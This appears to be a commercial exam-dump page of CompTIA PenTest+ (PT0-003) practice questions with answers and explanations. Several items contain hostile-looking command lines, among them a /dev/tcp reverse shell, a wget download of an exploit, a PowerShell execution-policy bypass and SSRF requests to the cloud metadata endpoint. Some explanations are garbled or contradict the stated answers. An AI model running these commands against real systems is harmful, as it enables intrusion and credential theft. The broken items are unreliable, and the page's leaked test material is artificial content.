[Dec 09, 2025] Dumps Collection PT0-003 Test Engine Dumps Training With 274 Questions
CompTIA PT0-003 Dumps - 100% Cover Real Exam Questions
NEW QUESTION # 92
While performing a penetration testing exercise, a tester executes the following command:
bash
Copy code
PS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe Which of the following best explains what the tester is trying to do?
- A. Test connectivity using PSExec on the server01 using CMD.exe.
- B. Send the PsExec binary file to the server01 using CMD.exe.
- C. Perform a lateral movement attack using PsExec.
- D. Enable CMD.exe on the server01 through PsExec.
Answer: C
Explanation:
* Lateral Movement with PsExec:
* PsExec is a tool used for executing processes on remote systems.
* The command enables the tester to execute cmd.exe on the target host (server01) to achieve lateral movement and potentially escalate privileges.
* Why Not Other Options?
* A: The command is not testing connectivity; it is executing a remote command.
* C: PsExec does not send its binary; it executes commands on remote systems.
* D: The command is not enabling cmd.exe; it is using it as a tool for executing commands remotely.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)
NEW QUESTION # 93
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
See the explanation part for detailed solution.
Explanation:
A screenshot ofa computer Description automatically generated
A screenshot of acomputer screen Description automatically generated
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN
/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.
Two best remediation options:
* Restrict direct communications to App01.example.com to only approved components.
* Require an additional authentication header value between CDN.example.com and App01.example.com.
* Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
* Require an additional authentication header value between CDN.example.com and App01.example.
com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
* CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
* App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
* DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
NEW QUESTION # 94
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?
- A. The penetration tester was locked out of the system.
- B. The penetration test was not completed on time.
- C. A full backup restoration is required for the server.
- D. Configuration changes were not reverted.
Answer: D
Explanation:
Debugging Mode:
Purpose: Debugging mode provides detailed error messages and debugging information, useful during development.
Risk: In a production environment, it exposes sensitive information and vulnerabilities, making the system more susceptible to attacks.
Common Causes:
Configuration Changes: During testing or penetration testing, configurations might be altered to facilitate debugging. If not reverted, these changes can leave the system in a vulnerable state.
Oversight: Configuration changes might be overlooked during deployment.
Best Practices:
Deployment Checklist: Ensure a checklist is followed that includes reverting any debug configurations before moving to production.
Configuration Management: Use configuration management tools to track and manage changes.
Reference from Pentesting Literature:
The importance of reverting configuration changes is highlighted in penetration testing guides to prevent leaving systems in a vulnerable state post-testing.
HTB write-ups often mention checking and ensuring debugging modes are disabled in production environments.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 95
A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:
Which of the following would be a recommendation for remediation?
- A. Utilize the secure software development life cycle
- B. Implement a patch management plan
- C. Deploy a user training program
- D. Configure access controls on each of the servers
Answer: B
NEW QUESTION # 96
A penetration tester wrote the following script to be used in one engagement:
Which of the following actions will this script perform?
- A. Create an encrypted tunnel.
- B. Look for open ports.
- C. Listen for a reverse shell.
- D. Attempt to flood open ports.
Answer: B
Explanation:
The script will perform a port scan on the target IP address, looking for open ports on a list of common ports.
A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.
NEW QUESTION # 97
A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?
- A. Cryptographic flaws
- B. Cached pages
- C. Job boards
- D. Protocol scanning
Answer: C
Explanation:
To conduct reconnaissance and identify hardware and software used by a client, job boards are an effective resource. Companies often list the technologies they use in job postings to attract qualified candidates. These listings can provide valuable insights into the specific hardware and software platforms the client is utilizing.
Reconnaissance:
This is the first phase in penetration testing, involving gathering as much information as possible about the target.
Reconnaissance can be divided into two types: passive and active. Job boards fall under passive reconnaissance, where the tester gathers information without directly interacting with the target systems.
Job Boards:
Job postings often include detailed descriptions of the technologies and tools used within the company.
For example, a job posting for a network administrator might list specific brands of hardware (like Cisco routers) or software (like VMware).
Examples of Job Boards:
Websites like LinkedIn, Indeed, Glassdoor, and company career pages can be used to find relevant job postings.
These postings might mention operating systems (Windows, Linux), development frameworks (Spring, .NET), databases (Oracle, MySQL), and more.
Pentest Reference:
OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.
Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.
This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.
By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.
NEW QUESTION # 98
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. nc 10.10.51.50 9891 < exploit
- B. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- C. wget 10.10.51.50:9891/exploit
- D. powershell -exec bypass -f \\10.10.51.50\9891
Answer: C
Explanation:
Reference: https://www.redhat.com/sysadmin/simple-http-server
NEW QUESTION # 99
During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?
- A. Segmentation
- B. External
- C. Mobile
- D. Web
Answer: B
Explanation:
An external assessment focuses on testing the security of internet-facing services.
External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization's network.
Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It's more relevant to internal network architecture.
Mobile: This assessment targets mobile applications and devices, not general internet-facing services.
Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.
NEW QUESTION # 100
SIMULATION
Using the output, identify potential attack vectors that should be further investigated.
Answer:
Explanation:
See explanation below.
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)
NEW QUESTION # 101
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
- A. NDA
- B. MSA
- C. SLA
- D. ROE
Answer: A
NEW QUESTION # 102
A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?
- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.
Answer: C
Explanation:
A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver's cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.
NEW QUESTION # 103
During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected. Which of the following describes the information the junior tester will receive from the Hunter.io tool?
- A. Data breach information about the organization that could be used for additional enumeration
- B. A collection of email addresses for the target domain that is available on multiple sources on the internet
- C. Information from the target's main web page that collects usernames, metadata, and possible data exposures
- D. DNS records for the target domain and subdomains that could be used to increase the external attack surface
Answer: B
Explanation:
Hunter.io is a tool used for finding professional email addresses associated with a domain.
Functionality of Hunter.io:
Email Address Collection: Gathers email addresses associated with a target domain from various sources across the internet.
Verification: Validates the email addresses to ensure they are deliverable.
Sources: Aggregates data from public sources, company websites, and other internet databases.
NEW QUESTION # 104
During a security audit, a penetration tester wants to run a process to gather information about a target network's domain structure and associated IP addresses. Which of the following tools should the tester use?
- A. Wireshark
- B. Netcat
- C. Dnsenum
- D. Nmap
Answer: C
Explanation:
Dnsenum is a tool specifically designed to gather information about DNS, including domain structure and associated IP addresses. Here's why option A is correct:
Dnsenum: This tool is used for DNS enumeration and can gather information about a domain's DNS records, subdomains, IP addresses, and other related information. It is highly effective for mapping out a target network's domain structure.
Nmap: While a versatile network scanning tool, Nmap is more focused on port scanning and service detection rather than detailed DNS enumeration.
Netcat: This is a network utility for reading and writing data across network connections, not for DNS enumeration.
Wireshark: This is a network protocol analyzer used for capturing and analyzing network traffic but not specifically for gathering DNS information.
Reference from Pentest:
Anubis HTB: Shows the importance of using DNS enumeration tools like Dnsenum to gather detailed information about the target's domain structure.
Forge HTB: Demonstrates the process of using specialized tools to collect DNS and IP information efficiently.
NEW QUESTION # 105
A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?
- A. route.exe print
- B. strings.exe -a
- C. netstat.exe -ntp
- D. net.exe commands
Answer: D
Explanation:
The net.exe commands are native to the Windows operating system and are used to manage and enumerate network resources, including user accounts.
NEW QUESTION # 106
A penetration tester is performing an assessment for an application that is used by large organizations operating in the heavily regulated financial services industry. The penetration tester observes that the default Admin User account is enabled and appears to be used several times a day by unfamiliar IP addresses. Which of the following is the most appropriate way to remediate this issue?
- A. Restrict simultaneous user log-ins.
- B. Implement system hardening.
- C. Require local network access.
- D. Increase password complexity.
Answer: C
Explanation:
Requiring local network access for the default Admin User account is a targeted measure to prevent unauthorized access from unfamiliar IP addresses, particularly those originating from outside the organization's network. This approach ensures that only devices physically connected to or authenticated within the local network can attempt to use the Admin User account, significantly reducing the risk of external attacks. Increasing password complexity and restricting simultaneous log-ins are good practices but do not directly address the issue of access from unfamiliar IPs. System hardening is broader and not specifically focused on the Admin User account issue.
NEW QUESTION # 107
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- A. Create a custom password dictionary as preparation for password spray testing.
- B. Document the unprotected file repository as a finding in the penetration-testing report.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Recommend using a password manage/vault instead of text files to store passwords securely.
Answer: B
NEW QUESTION # 108
A penetration tester has found a web application that is running on a cloud virtual machine instance.
Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter.
Which of the following commands should the tester run to successfully test for secrets exposure exploitability?
- A. curl '<url>?param=<script>alert(1)<script>/'
- B. curl '<url>?param=http://127.0.0.1/etc/passwd'
- C. curl <url>?param=http://169.254.169.254/latest/meta-data/
- D. curl <url>?param=http://127.0.0.1/
Answer: C
Explanation:
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here's why the specified command is appropriate:
* Accessing Cloud Metadata Service:
* URL:
http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.
* Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as instance credentials and other metadata.
* Comparison with Other Commands:
* 127.0.0.1/etc/passwd: This is more about local file inclusion, not specific to cloud metadata.
* <script>alert(1)</script>: This tests for XSS, not SSRF.
* 127.0.0.1: This is a generic loopback address and does not specifically test for metadata access in a cloud environment.
Using curl <url>?param=http://169.254.169.254/latest/meta-data/
is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.
NEW QUESTION # 109
An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?
- A. OWASP ZAP
- B. Drozer
- C. Burp Suite
- D. OpenVAS
Answer: D
Explanation:
OpenVAS is a full-featured vulnerability scanner.
OWASP ZAP = Burp Suite
Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
Reference:
https://pentest-tools.com/network-vulnerability-scanning/network-security-scanner-online-openvas
NEW QUESTION # 110
......
Realistic GuideTorrent PT0-003 Dumps PDF - 100% Passing Guarantee: https://pass4sure.guidetorrent.com/PT0-003-dumps-questions.html